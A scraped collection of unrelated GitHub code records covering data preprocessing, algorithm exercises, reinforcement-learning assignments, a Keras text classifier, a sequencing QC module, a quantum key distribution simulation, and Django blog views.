dv.PROJECT_DIR\n data_foldername = dv.DATA_FOLDERNAME\n\n full_file_path = os.path.join(proj_dir, data_foldername, file_name)\n if not os.path.exists(os.path.dirname(full_file_path)):\n os.makedirs(os.path.dirname(full_file_path))\n\n df.to_csv(full_file_path, index=False)\n\n@ent.DebugDecorator\ndef SaveAllData(df_all: dict[str, pd.DataFrame]):\n\n SaveDataAsCSVFile(df_all['df_db'], \"raw/df_raw_from_db.csv\")\n SaveDataAsCSVFile(df_all['df_clean'], \"interim/df_preprocessing.csv\")\n SaveDataAsCSVFile(df_all['df_train'], \"processed/df_train.csv\")\n SaveDataAsCSVFile(df_all['df_train'], \"processed/df_test.csv\")\n\n\n# %% \nif __name__ == '__main__':\n\n df_db = ld.LoadCompleteDataFromDB()\n df_clean = (df_db\n .pipe(dp.DropDuplicatedData)\n .pipe(dp.DataSchemeCheckAndCorrectForDBData)\n )\n df_train, df_test = spd.SplitDataToTrainAndTest(df_clean)\n\n df_all = {'df_db': df_db, 'df_clean': df_clean, 'df_train': df_train, 'df_test': df_test}\n SaveAllData(df_all)\n","repo_name":"choux130/MLOps_MyTake","sub_path":"gitbucket_repos/de_datapreprocessing/code/src/s04_SaveData.py","file_name":"s04_SaveData.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39910953834","text":"import collections\nimport math\n\nfrom src.base.solution import Solution\nfrom src.tests.part1.q279_test_perfect_squares import PerfectSquaresTestCases\n\n\nclass PerfectSquares(Solution):\n def print_output(self, output):\n super(PerfectSquares, self).print_output(output)\n\n def verify_output(self, test_output, output):\n return test_output == output\n\n def gen_test_cases(self):\n return PerfectSquaresTestCases()\n\n def run_test(self, input):\n return self.numSquares(input)\n\n def numSquares(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n class Node:\n def __init__(self, val, dist):\n self.val = val\n self.dist = dist\n\n node_dict = dict()\n q = collections.deque()\n min_dist = n\n q.append(Node(n, 0))\n node_dict[(n,0)] = True\n\n while q:\n cur_node = q.popleft()\n val_sqrt = math.floor(math.sqrt(cur_node.val))\n\n while val_sqrt:\n val = cur_node.val - val_sqrt**2\n dist = cur_node.dist + 1\n val_sqrt -= 1\n\n if val == 0 and dist < min_dist:\n min_dist = dist\n # print([val, val_sqrt, dist])\n continue\n\n if val < 0 or dist >= min_dist:\n continue\n\n if (val, dist) not in node_dict:\n q.append(Node(val, dist))\n node_dict[(val,dist)] = True\n # print([(x.val, x.dist) for x in q])\n\n return min_dist\n\n\nif __name__ == '__main__':\n sol = PerfectSquares()\n sol.run_tests()","repo_name":"hychrisli/PyAlgorithms","sub_path":"src/solutions/part1/q279_perfect_squares.py","file_name":"q279_perfect_squares.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6082312764","text":"### MDP Value Iteration and Policy Iteration\n\nimport numpy as np\nimport gym\nimport time\nfrom lake_envs import *\n\nnp.set_printoptions(precision=3)\n\n\"\"\"\nFor policy_evaluation, policy_improvement, policy_iteration and value_iteration,\nthe parameters P, nS, nA, gamma are defined as follows:\n\n\tP: nested dictionary\n\t\tFrom gym.core.Environment\n\t\tFor each pair of states in [1, nS] and actions in [1, nA], P[state][action] is a\n\t\ttuple of the form (probability, nextstate, reward, terminal) where\n\t\t\t- probability: float\n\t\t\t\tthe probability of transitioning from \"state\" to \"nextstate\" with \"action\"\n\t\t\t- nextstate: int\n\t\t\t\tdenotes the state we transition to (in range [0, nS - 1])\n\t\t\t- reward: int\n\t\t\t\teither 0 or 1, the reward for transitioning from \"state\" to\n\t\t\t\t\"nextstate\" with \"action\"\n\t\t\t- terminal: bool\n\t\t\t True when \"nextstate\" is a terminal state (hole or goal), False otherwise\n\tnS: int\n\t\tnumber of states in the environment\n\tnA: int\n\t\tnumber of actions in the environment\n\tgamma: float\n\t\tDiscount factor. Number in range [0, 1)\n\"\"\"\n\ndef custimise_reward(state, next_state, reward):\n\tif state == next_state:\n\t\treward = 0\n\telse:\n\t\tif next_state in [5,7,11,12]: reward = reward - 10\t\n\t\telif next_state == 15: reward = 10\n\t\telse: reward = 1\n\treturn reward\n\ndef policy_evaluation(P, nS, nA, policy, gamma, tol):\n\t\"\"\"Evaluate the value function from a given policy.\n\n\tParameters\n\t----------\n\tP, nS, nA, gamma:\n\t\tdefined at beginning of file\n\tpolicy: np.array[nS]\n\t\tThe policy to evaluate. Maps states to actions.\n\ttol: float\n\t\tTerminate policy evaluation when\n\t\t\tmax |value_function(s) - prev_value_function(s)| < tol\n\tReturns\n\t-------\n\tvalue_function: np.ndarray[nS]\n\t\tThe value function of the given policy, where value_function[s] is\n\t\tthe value of state s\n\t\"\"\"\n\n\tvalue_function = np.zeros(nS)\t\n\tk = 1\n\twhile k:\n\t\tk = k + 1\n\t\tprev_value_function = value_function\n\t\tfor state in P:\n\t\t\tA = P[state]\n\t\t\tpolicy_action = policy[state] # extract action from policy \n\t\t\tfor prob, next_state, reward, terminal in A[policy_action]:\n\t\t\t\treward = custimise_reward(state, next_state, reward)\n\t\t\t\tvalue_function[state] = reward + gamma * prob * prev_value_function[next_state]\n\t\tif np.max(np.abs(value_function - prev_value_function)) < tol: break\n\n\treturn value_function\n\n\ndef policy_improvement(P, nS, nA, value_from_policy, gamma):\n\t\"\"\"Given the value function from policy improve the policy.\n\n\tParameters\n\t----------\n\tP, nS, nA, gamma:\n\t\tdefined at beginning of file\n\tvalue_from_policy: np.ndarray\n\t\tThe value calculated from the policy\n\n\tReturns\n\t-------\n\tnew_policy: np.ndarray[nS]\n\t\tAn array of integers. Each integer is the optimal action to take\n\t\tin that state according to the environment dynamics and the\n\t\tgiven value function.\n\t\"\"\"\n\tnew_policy = np.empty(nS,dtype=int)\t\n\tQ_function = dict()\n\tfor state in P:\n\t\tA = P[state]\n\t\tfor action in A:\n\t\t\tfor prob, next_state, reward, terminal in A[action]:\n\t\t\t\treward = custimise_reward(state, next_state, reward)\n\t\t\t\tQ_function[state] = np.empty(nA)\n\t\t\t\tQ_function[state][action] = reward + gamma * prob * value_from_policy[next_state] \n\t\t# extract optimal policy from state-action value Q\n\t\tnew_policy[state] = np.argmax(Q_function[state]) #if Q value doesn't cahnge much, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t #its ranking doesn't change as well\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t #so policy doesn't change as well\n\n\treturn new_policy\n\n\ndef policy_iteration(P, nS, nA, gamma, tol):\n\t\"\"\"Runs policy iteration.\n\n\tYou should call the policy_evaluation() and policy_improvement() methods to\n\timplement this method.\n\n\tParameters\n\t----------\n\tP, nS, nA, gamma:\n\t\tdefined at beginning of file\n\ttol: float\n\t\ttol parameter used in policy_evaluation()\n\tReturns:\n\t----------\n\tvalue_from_policy: np.ndarray[nS]\n\tpolicy: np.ndarray[nS]\n\t\"\"\"\n\tpolicy = np.zeros(nS,dtype=int)\t\n\tk = 1\n\twaiting = 0\n\twhile k: \n\t\tk = k + 1\n\t\tprev_policy = policy\n\t\tvalue_from_policy = policy_evaluation(P, nS, nA, prev_policy, gamma, tol)\n\t\tpolicy = policy_improvement(P, nS, nA, value_from_policy, gamma)\n\t\tif k > 1000 or np.all(prev_policy == policy): # force quit after 1000 iterations\n\t\t\twaiting = waiting + 1\n\t\t\tif waiting > 5: break # wait for 5 more iterations \n\t\t\n\n\tprint('Optiaml policy is found after {} policy iteration'.format(k-1))\n\treturn value_from_policy, policy\n\ndef value_iteration(P, nS, nA, gamma=0.9, tol=1e-3):\n\t\"\"\"\n\tLearn value function and policy by using value iteration method for a given\n\tgamma and environment.\n\n\tParameters:\n\t----------\n\tP, nS, nA, gamma:\n\t\tdefined at beginning of file\n\ttol: float\n\t\tTerminate value iteration when\n\t\t\tmax |value_function(s) - prev_value_function(s)| < tol\n\tReturns:\n\t----------\n\tvalue_function: np.ndarray[nS]\n\tpolicy: np.ndarray[nS]\n\t\"\"\"\n\n\tvalue_function = np.zeros(nS)\n\tpolicy = np.zeros(nS,dtype=int)\n\tQ_function = dict()\n\tk = 1\n\twhile k: \n\t\tprev_value_function = value_function\n\t\tk = k + 1\n\t\tfor state in P:\n\t\t\tA = P[state]\n\t\t\tfor action in A:\n\t\t\t\tfor prob, next_state, reward, terminal in A[action]:\n\t\t\t\t\treward = custimise_reward(state, next_state, reward)\n\t\t\t\t\tQ_function[state] = np.empty(nA)\n\t\t\t\t\tQ_function[state][action] = reward + gamma * prob * prev_value_function[next_state]\n\t\t\t# extract state value from state-action value Q\n\t\t\tvalue_function[state] = np.max(Q_function[state])\n\t\tif np.max(np.abs(value_function - prev_value_function)) < tol: \n\t\t\t# extract policy from state-action value Q\n\t\t\tfor state in Q_function:\n\t\t\t\tpolicy[state] = np.argmax(Q_function[state])\n\t\t\tbreak\n\n\tprint('Optiaml policy is found after {} value iteration'.format(k-1))\n\treturn value_function, policy\n\ndef render_single(env, policy, max_steps=100):\n \"\"\"\n This function does not need to be modified\n Renders policy once on environment. Watch your agent play!\n\n Parameters\n ----------\n env: gym.core.Environment\n Environment to play on. Must have nS, nA, and P as\n attributes.\n Policy: np.array of shape [env.nS]\n The action to take at a given state\n \"\"\"\n\n episode_reward = 0\n ob = env.reset()\n for t in range(max_steps):\n env.render()\n time.sleep(0.25)\n a = policy[ob]\n ob, rew, done, _ = env.step(a)\n episode_reward += rew\n if done:\n break\n env.render();\n if not done:\n print(\"The agent didn't reach a terminal state in {} steps.\".format(max_steps))\n else:\n \tprint(\"Episode reward: %f\" % episode_reward)\n\n\n\n\n# Edit below to run policy and value iteration on different environments and\n# visualize the resulting policies in action!\n# You may change the parameters in the functions below\nif __name__ == \"__main__\":\n\n\t# comment/uncomment these lines to switch between deterministic/stochastic environments\n\t#env = gym.make(\"Deterministic-4x4-FrozenLake-v0\")\n\tenv = gym.make(\"Stochastic-4x4-FrozenLake-v0\")\n\t#env = gym.make(\"Deterministic-8x8-FrozenLake-v0\")\n\n\tprint(\"\\n\" + \"-\"*25 + \"\\nBeginning Policy Iteration\\n\" + \"-\"*25)\n\n\tV_pi, p_pi = policy_iteration(env.P, env.nS, env.nA, gamma=1, tol=1e-5)\n\tprint(p_pi);print(V_pi)\n\t#render_single(env, p_pi, 10)\n\n\tprint(\"\\n\" + \"-\"*25 + \"\\nBeginning Value Iteration\\n\" + \"-\"*25)\n\n\tV_vi, p_vi = value_iteration(env.P, env.nS, env.nA, gamma=1, tol=1e-5)\n\tprint(p_vi)\n\tV_vi = [round(V_vi[i],2) for i in range(env.nS)]\n\tprint(V_vi)\n\trender_single(env, p_vi, 10)\n\n\n","repo_name":"Phoebe0222/MLSA-workshops-2020-student","sub_path":"Reinforcement-Learning/assignment1/vi_and_pi_suggested_solutions.py","file_name":"vi_and_pi_suggested_solutions.py","file_ext":"py","file_size_in_byte":7197,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"41150484401","text":"from tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Embedding, Dropout, Conv1D, GlobalMaxPooling1D, Dense, Input, Flatten, Concatenate\n\nclass IntentModel:\n def __init__(self, max_len=22, vocab_size=400, filter_sizes=[2,3,5], embedding_dim=16, num_filters=32, drop=0.5, len_label=70):\n self.max_len=max_len\n self.vocab_size = vocab_size\n self.filter_sizes = filter_sizes\n self.embedding_dim = embedding_dim\n self.num_filters = num_filters\n self.drop = drop\n self.len_label=len_label\n\n def create_model(self):\n model_input = Input(shape=(self.max_len,))\n z = Embedding(self.vocab_size, self.embedding_dim, input_length=self.max_len)(model_input)\n\n conv_blocks = []\n\n for sz in self.filter_sizes:\n conv = Conv1D(filters=self.num_filters,\n kernel_size=sz,\n padding=\"valid\",\n activation=\"relu\",\n strides=1)(z)\n conv = GlobalMaxPooling1D()(conv)\n conv = Flatten()(conv)\n conv_blocks.append(conv)\n\n z = Concatenate()(conv_blocks) if len(conv_blocks) > 1 else conv_blocks[0]\n z = Dropout(self.drop)(z)\n model_output = Dense(self.len_label, activation='softmax')(z)\n\n model = Model(model_input, model_output)\n model.summary()\n\n model.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['acc'])\n return model\n\n","repo_name":"overthecloud75/kakao_chatbot","sub_path":"predictions/deep_model.py","file_name":"deep_model.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40586248665","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport re\nimport shutil\nimport time\nfrom biocluster.core.exceptions import OptionError\nfrom biocluster.module import Module\nfrom collections import defaultdict\n\n\nclass MetagenomicQcModule(Module):\n \"\"\"\n 宏基因组质控模块,主要调用seqprep、sickle软件做质量剪切与去接头\n version 1.0\n author: wangzhoayue\n last_modify: 2017.12.14\n \"\"\"\n\n def __init__(self, work_id):\n super(MetagenomicQcModule, self).__init__(work_id)\n options = [\n {\"name\": \"sample_path\", \"type\": \"infile\", \"format\": \"sequence.file_sample\"},\n # fastq路径list.txt文件,第一列路径,第二列样本名,第三列序列类型 l or r\n # {\"name\": \"fq_type\", \"type\": \"string\", \"default\": \"PE\"}, # PE OR SE\n {\"name\": \"clip_dir\", \"type\": \"outfile\", \"format\": \"sequence.fastq_dir\"}, # SE去接头输出结果文件夹\n {\"name\": \"sickle_dir\", \"type\": \"outfile\", \"format\": \"sequence.fastq_dir\"}, # 质量剪切输出结果文件夹(包括左右段)\n {\"name\": \"sickle_r_dir\", \"type\": \"outfile\", \"format\": \"sequence.fastq_dir\"}, # 质量剪切右端输出结果文件夹\n {\"name\": \"sickle_l_dir\", \"type\": \"outfile\", \"format\": \"sequence.fastq_dir\"}, # 质量剪切左端输出结果文件夹\n {\"name\": \"seqprep_dir\", \"type\": \"outfile\", \"format\": \"sequence.fastq_dir\"}, # PE的去接头输出结果文件\n {\"name\": \"fq_s\", \"type\": \"outfile\", \"format\": \"sequence.fastq\"}, # SE所有样本cat集合\n {\"name\": \"fq_r\", \"type\": \"outfile\", \"format\": \"sequence.fastq\"}, # PE所有右端序列样本cat集合\n {\"name\": \"fq_l\", \"type\": \"outfile\", \"format\": \"sequence.fastq\"}, # PE所有��端序列样本cat集合\n {\"name\": \"quality_q\", \"type\": \"int\", \"default\": 20}, # 质量剪切碱基质量 sickle\n {\"name\": \"length_q\", \"type\": \"int\", \"default\": 50}, # 质量剪切碱基长度 sickle\n {\"name\": \"seq_quality\", \"type\": \"int\", \"default\": 20}, # SeqPrep的参数-q\n {\"name\": \"seq_length\", \"type\": \"int\", \"default\": 50}, # SeqPrep的参数-L\n {\"name\": \"min_length\", \"type\": \"string\", \"default\": \"50\"}, # 删除短于此值的reads\n ]\n self.add_option(options)\n self.sample = defaultdict(list) # 存放样本\n self.seqprep = []\n self.clipper = []\n self.sickle = []\n self.end_times = 0\n self.adapt_rate = []\n self.single_sickle_out = []\n\n def check_options(self):\n \"\"\"\n 检查参数\n \"\"\"\n if not self.option(\"sample_path\").is_set:\n raise OptionError(\"需要传入fastq文件或者文件夹\")\n row_num = len(open(self.option(\"sample_path\").prop['path'], \"r\").readline().split())\n if row_num != 3:\n raise OptionError(\"list文件应该是两列或三列,PE序列应该包括文件名、样本名和左右端说明三列\")\n\n def get_list(self):\n \"\"\"\n 将输入的信息进行分类,{样本:[R1path,R2path]}\n :return:\n \"\"\"\n with open(self.option('sample_path').prop['path'])as fr:\n for line in fr:\n tmp = line.strip().split('\\t')\n if tmp[1] in self.sample.keys():\n if tmp[2] == 'l':\n self.sample[tmp[1]].insert(0, tmp[0])\n else:\n self.sample[tmp[1]].append(tmp[0])\n else:\n self.sample[tmp[1]].append(tmp[0])\n for key in self.sample.keys():\n if len(self.sample[key]) > 2:\n raise Exception('需要质控的序列PE样本{}有重名,请改样本名或分开质控!'.format(key))\n\n def run(self):\n super(MetagenomicQcModule, self).run()\n self.get_list()\n time.sleep(2)\n self.seqprep_run()\n\n def seqprep_run(self):\n n = 1\n for f in self.sample:\n seqprep = self.add_tool('datasplit.seq_prep')\n seqprep.set_options({\n \"fastq_l\": self.sample[f][0],\n \"fastq_r\": self.sample[f][1],\n \"quality\": self.option(\"seq_quality\"),\n \"length\": self.option(\"seq_length\")\n })\n seqprep.on(\"end\", self.adapt, f)\n seqprep.on(\"end\", self.sickle_pe_run, f)\n n += 1\n self.seqprep.append(seqprep)\n if len(self.seqprep) == 1:\n self.seqprep[0].on(\"end\", self.adapt_write)\n self.seqprep[0].run()\n else:\n self.on_rely(self.seqprep, self.adapt_write)\n for tool in self.seqprep:\n tool.run()\n\n def sickle_pe_run(self, event):\n obj = event[\"bind_object\"]\n self.tool_sickle = self.add_tool('datasplit.sickle_mg')\n self.tool_sickle.set_options({\n \"fq_type\": 'PE',\n \"fastq_l\": obj.option(\"seqprep_l\"), # modified by shijin on 20170623,减少阻塞\n \"fastq_r\": obj.option(\"seqprep_r\"),\n \"quality\": self.option(\"quality_q\"),\n \"length\": self.option(\"length_q\")\n })\n self.tool_sickle.on(\"end\", self.new_set_output, \"sickle_\" + event[\"data\"])\n self.tool_sickle.on(\"end\", self.remove_sort_reads, event[\"data\"])\n self.tool_sickle.run()\n self.sickle.append(self.tool_sickle)\n\n def remove_sort_reads(self, event):\n obj = event[\"bind_object\"]\n remove_sort_reads = self.add_tool('datasplit.remove_sort_reads')\n remove_sort_reads.set_options({\n \"fastq_r\": obj.option(\"sickle_l\"),\n \"fastq_l\": obj.option(\"sickle_l\"),\n \"min_length\": self.option(\"min_length\"),\n \"sample_name\": event[\"data\"]\n })\n remove_sort_reads.on(\"end\", self.new_set_output, \"clean_\" + event[\"data\"])\n remove_sort_reads.run()\n\n def adapt(self, event):\n obj = event[\"bind_object\"]\n adapt_file = obj.work_dir + \"/adapter.xls\"\n if os.path.exists(adapt_file):\n with open(adapt_file, \"r\") as f:\n f.readline()\n adapt_rate = f.next().split()[-1]\n self.adapt_rate.append([\"{}\".format(event[\"data\"]), adapt_rate])\n\n def adapt_write(self):\n with open(self.output_dir + \"/adapter.xls\", \"w\") as w:\n for a in self.adapt_rate:\n w.write(\"{}\\t{}\\n\".format(a[0], a[1]))\n\n def set_output(self, event):\n obj = event[\"bind_object\"]\n if self.end_times < len(self.sample):\n self.end_times += 1\n for f in os.listdir(obj.output_dir):\n old_name = os.path.join(obj.output_dir, f)\n new_name = os.path.join(obj.output_dir, event[\"data\"] + \"_\" + f)\n os.rename(old_name, new_name)\n if self.end_times == len(self.sample):\n sickle_dir = os.path.join(self.output_dir, \"sickle_dir\")\n sickle_r_dir = os.path.join(self.work_dir, \"sickle_r_forRSEM\")\n sickle_l_dir = os.path.join(self.work_dir, \"sickle_l_forRSEM\")\n seqprep_dir = os.path.join(self.work_dir, \"seqprep_dir\")\n clip_dir = os.path.join(self.work_dir, \"clip_dir\")\n dir_list = [sickle_dir, seqprep_dir, clip_dir, sickle_r_dir, sickle_l_dir]\n for d in dir_list:\n if os.path.exists(d):\n shutil.rmtree(d)\n os.mkdir(d)\n sickle_out = []\n seqprep_out = []\n clip_out = []\n for sic in self.sickle:\n for f in os.listdir(sic.output_dir):\n f_path = os.path.join(sic.output_dir, f)\n sickle_out.append(f_path)\n for seq in self.seqprep:\n for f in os.listdir(seq.output_dir):\n f_path = os.path.join(seq.output_dir, f)\n seqprep_out.append(f_path)\n for clip in self.clipper:\n for f in os.listdir(clip.output_dir):\n f_path = os.path.join(clip.output_dir, f)\n clip_out.append(f_path)\n with open(os.path.join(sickle_dir, \"list.txt\"), \"w\") as w:\n for f in sickle_out:\n f_name = f.split(\"/\")[-1]\n if \"sickle_r.fastq\" in f:\n sample_name = f_name.split(\"_sickle_r.fastq\")[0]\n w.write(\"{}\\t{}\\t{}\\n\".format(f_name, sample_name, \"r\"))\n os.link(f, os.path.join(sickle_r_dir, f_name))\n elif \"sickle_l.fastq\" in f:\n sample_name = f_name.split(\"_sickle_l.fastq\")[0]\n w.write(\"{}\\t{}\\t{}\\n\".format(f_name, sample_name, \"l\"))\n os.link(f, os.path.join(sickle_l_dir, f_name))\n elif \"sickle_s.fastq\" in f:\n sample_name = f_name.split(\"_sickle_s.fastq\")[0]\n w.write(\"{}\\t{}\\t{}\\n\".format(f_name, sample_name, \"s\"))\n else:\n self.logger.info(sickle_dir)\n self.logger.info(os.path.join(sickle_out, f))\n target_path = os.path.join(sickle_dir, f_name)\n if os.path.exists(target_path):\n os.remove(target_path)\n os.link(f, target_path)\n self.option(\"sickle_dir\", sickle_dir)\n self.end()\n\n def link_file(self, old, new):\n if os.path.exists(new):\n os.remove(new)\n os.link(old, new)\n\n def new_set_output(self, event):\n obj = event[\"bind_object\"]\n list_file = os.path.join(self.output_dir, \"list.txt\")\n if event[\"data\"].startswith(\"clean_\"):\n self.end_times += 1\n with open(list_file, \"w+\") as w:\n for f in os.listdir(obj.output_dir):\n old = os.path.join(obj.output_dir, f)\n if f.endswith(\".1.fq.gz\"):\n new = os.path.join(self.output_dir, event[\"data\"].split(\"clean_\")[1] + \".clean.1.fastq.gz\")\n self.link_file(old, new)\n w.write(event[\"data\"].split(\"clean_\")[1] + \".clean.1.fastq.gz\" + \"\\t\" + event[\"data\"].split(\"clean_\")[1] + \"\\t\" + \"l\" + \"\\n\")\n elif f.endswith(\".2.fq.gz\"):\n new = os.path.join(self.output_dir, event[\"data\"].split(\"clean_\")[1] + \".clean.2.fastq.gz\")\n self.link_file(old, new)\n w.write(event[\"data\"].split(\"clean_\")[1] + \".clean.2.fastq.gz\" + \"\\t\" + event[\"data\"].split(\"clean_\")[1] + \"\\t\" + \"r\" + \"\\n\")\n else:\n with open(list_file, \"w+\") as w:\n for f in os.listdir(obj.output_dir):\n if re.search(\"sickle_s.fastq.gz\", f):\n old = os.path.join(obj.output_dir, f)\n new = os.path.join(self.output_dir, event[\"data\"].split(\"sickle_\")[1] + \".s.clena.fq.gz\")\n self.link_file(old, new)\n w.write(event[\"data\"].split(\"sickle_\")[1] + \".s.clena.fq.gz\" + \"\\t\" + event[\"data\"].split(\"sickle_\")[1] + \"\\t\" + \"s\" + \"\\n\")\n if self.end_times == len(self.sample):\n self.end()\n\n def end(self):\n result_dir = self.add_upload_dir(self.output_dir)\n # result_dir.add_relpath_rules([\n # [r\".\", \"\", \"结果输出目录\"],\n # [r\"./seqprep_dir/\", \"文件夹\", \"PE去接头后fastq文件输出目录\"],\n # [r\"./sickle_dir/\", \"文件夹\", \"质量剪切后fastq文件输出目录\"]\n # ])\n super(MetagenomicQcModule, self).end()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/modules/datasplit/metagenomic_qc.py","file_name":"metagenomic_qc.py","file_ext":"py","file_size_in_byte":11705,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"38051572036","text":"# Importando as dependências\nfrom qunetsim.components import Host, Network\nfrom qunetsim.objects import Qubit, Logger\nfrom random import randint\n\n# Protocolos de envio e recebimento QKD:\ndef sender_QKD(sender, receiver, key):\n \"\"\"\n Protocolo QKD 92 para o remetente.\n\n Args:\n sender (Host): Objeto host que deseja enviar a chave.\n receiver (Host): Objeto host que deseja receber a chave e mensagem.\n key (list): Lista de 0s e 1s que representa a chave quântica.\n \"\"\"\n print(\"Iniciando o Protocolo de Envio\")\n\n sent_qubit_counter = 0\n\n for bit in key:\n # Controle do laço.\n success = False\n\n while success == False:\n qubit = Qubit(sender)\n # Se quisermos enviar 0, enviaremos |0>\n # Se quisermos enviar 1, enviaremos |+>\n if bit == 1:\n qubit.H()\n\n # Enviando o qubit para o receptor.\n sender.send_qubit(receiver.host_id, qubit, await_ack=True)\n\n # Aguardando a mensagem sobre a escolha da base.\n message = sender.get_next_classical(receiver.host_id, wait=20)\n\n if message is not None:\n if message.content == 'Sucesso!':\n success = True\n sent_qubit_counter += 1\n\n print(\n f'{sender.host_id} enviou o {sent_qubit_counter}º, e último, bit para {receiver.host_id}.'\n )\n\n\ndef receiver_QKD(receiver, sender, key_size):\n \"\"\"\n Protocolo QKD B92 para o receptor.\n\n Args:\n sender (Host): Objeto host que deseja enviar a chave.\n receiver (Host): Objeto host que deseja receber a chave e mensagem.\n key (list): Lista de 0s e 1s que representa a chave quântica.\n \"\"\"\n print(\"Iniciando o Protocolo de Recebimento\")\n\n # Chave adquirida/gerada pelo recptor.\n key_receiver = []\n # Contador de bits medidos corretamente pelo receptor. Controle do laço.\n received_counter = 0\n while received_counter < key_size:\n base = randint(0, 1)\n # 0 significa base retilínea e 1 significa base diagonal\n qubit = receiver.get_qubit(sender.host_id, wait=20)\n\n if qubit is not None:\n if base == 1:\n qubit.H()\n\n measure = qubit.measure()\n if measure == 1:\n if base == 1:\n resulting_key_bit = 0\n elif base == 0:\n resulting_key_bit = 1\n print(f'Bob recebeu o {received_counter+1}º bit.')\n message_to_send = 'Sucesso!'\n key_receiver.append(resulting_key_bit)\n received_counter += 1\n else:\n message_to_send = 'fail'\n\n receiver.send_classical(sender.host_id, message_to_send, await_ack=True)\n else:\n receiver.send_classical(sender.host_id, \"None\", await_ack=True)\n return key_receiver\n\n\n# Função que se utiliza para interceptar a comunicação:\ndef sniffing_QKD(sender, receiver, qubit):\n \"\"\"\n Função utilizada pelo interceptador. Deve ser atribuída à \"q_sniffing_fn\" do host que irá interceptar.\n Nota: Não se passa nenhum argumento a essa função pois somente se atribui a \"q_sniffing_fn\", mas pode manipulá-los dentro da função.\n \n Args: \n sender (Host): Remetente na rede que se deseja xeretar a comunicação.\n receiver (Host): Receptor na rede que se deseja xeretar a comunicação.\n qubit (Qubit): Qubit que se deseja xeretar.\n \"\"\"\n snff = randint(0, 1)\n if snff == 1:\n base = randint(0, 1)\n if base == 1:\n qubit.H()\n # O qubit não deve ser destruído após a medição.\n qubit.measure(non_destructive=True)\n","repo_name":"artuenric/QuNetSim","sub_path":"customize/demo-qkd-b92/b92.py","file_name":"b92.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74159766347","text":"import sys\r\n\r\nn = int(input())\r\nlst = list(map(int, sys.stdin.readline().rstrip().split()))\r\ndic = dict()\r\ntime = 0\r\n\r\nfor i in range(len(lst)):\r\n dic[i] = lst[i]\r\n\r\ndic_sort = sorted(dic.items(), key=lambda x:x[1])\r\n\r\nfor i in range(n):\r\n time += dic_sort[i][1] * (n - i)\r\n\r\nprint(time)\r\n\r\n","repo_name":"Hyormone/algorithm_baekjoon","sub_path":"백준/Silver/11399. ATM/ATM.py","file_name":"ATM.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41824732907","text":"from django.shortcuts import render\nfrom post.models import Post, Category\nfrom post.forms import PostForm\nfrom django.core.paginator import Paginator\nfrom django.db.models import Q\n# Create your views here.\n\ndef view_post(request, post_id):\n category = Category.objects.all()\n post_category = None\n try :\n post = Post.objects.get(pk=post_id)\n #print(\"thumbnail\", post.thumbnail.url)\n post_category = list(Post.objects.filter(pk=post_id).values(\"category__category_name\"))\n post_category = [d['category__category_name'] for d in post_category]\n post_tags = post.tags.replace(post.title, '').split(' ')\n except Post.DoesNotExist:\n return render(request, \"post/post_not_found.html\", {\"categories\":category})\n return render(request, \"post/post.html\", {\"post\":post, \"categories\":category, \n \"post_categories\":post_category,\n \"post_tags\":post_tags})\n\ndef post_list(request, category_name=None):\n posts= None\n category = Category.objects.all()\n if category_name:\n posts = Post.objects.filter(category__category_name=category_name).order_by('-created_on', 'pk')\n posts_exist = True\n paginator = Paginator(posts, 5)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n if not posts:\n posts_exist = False\n return render(request, 'post/post_list.html',\n {\"posts\":posts, \"category_name\":category_name,\n \"categories\":category, \"posts_exist\":posts_exist, \"search_results\": False})\n else:\n posts = Post.objects.all().order_by('-created_on', 'pk')\n paginator = Paginator(posts, 5)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n return render(request, 'post/post_list.html', {\"posts\":posts, \n \"categories\":category,\n \"search_results\": False})\n\n \ndef search(request):\n category = Category.objects.all() \n keywords = request.GET.get(\"keywords\")\n #keywords = keywords.split(' ')\n #print(keywords)\n posts = Post.objects.filter(Q(title__icontains=keywords) | \n Q(description__icontains=keywords) |\n Q(tags__icontains=keywords) |\n Q(category__category_name__icontains=keywords)\n ).order_by('-created_on', 'pk')\n paginator = Paginator(posts, 5)\n page = request.GET.get('page')\n posts = paginator.get_page(page)\n print(\"Searched once\")\n return render(request, 'post/post_list.html', {\"posts\":posts, \"categories\":category,\n \"search_results\": True, \"keywords\":keywords})\n\n","repo_name":"Sarthakdtu/Blog_Django","sub_path":"post/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39826458244","text":"class Solution:\n def __init__(self):\n self.buffer = [\"\"]*4\n self.offsite = 0\n self.bufferSize = 0\n def read(self, buf, n):\n flag = False\n total = 0\n while not flag and total < n:\n if self.buffSize == 0:\n self.bufferSize = read4(self.buffer)\n if self.bufferSize < 4:\n flag = True\n byte = min(n-total, self.buffSize)\n for i in range(byte):\n buf[total] = self.buffer[self.offsite + i]\n total += 1\n\n self.offsite = (self.offsite+byte)%4\n self.buffSize -= byte\n\n return total 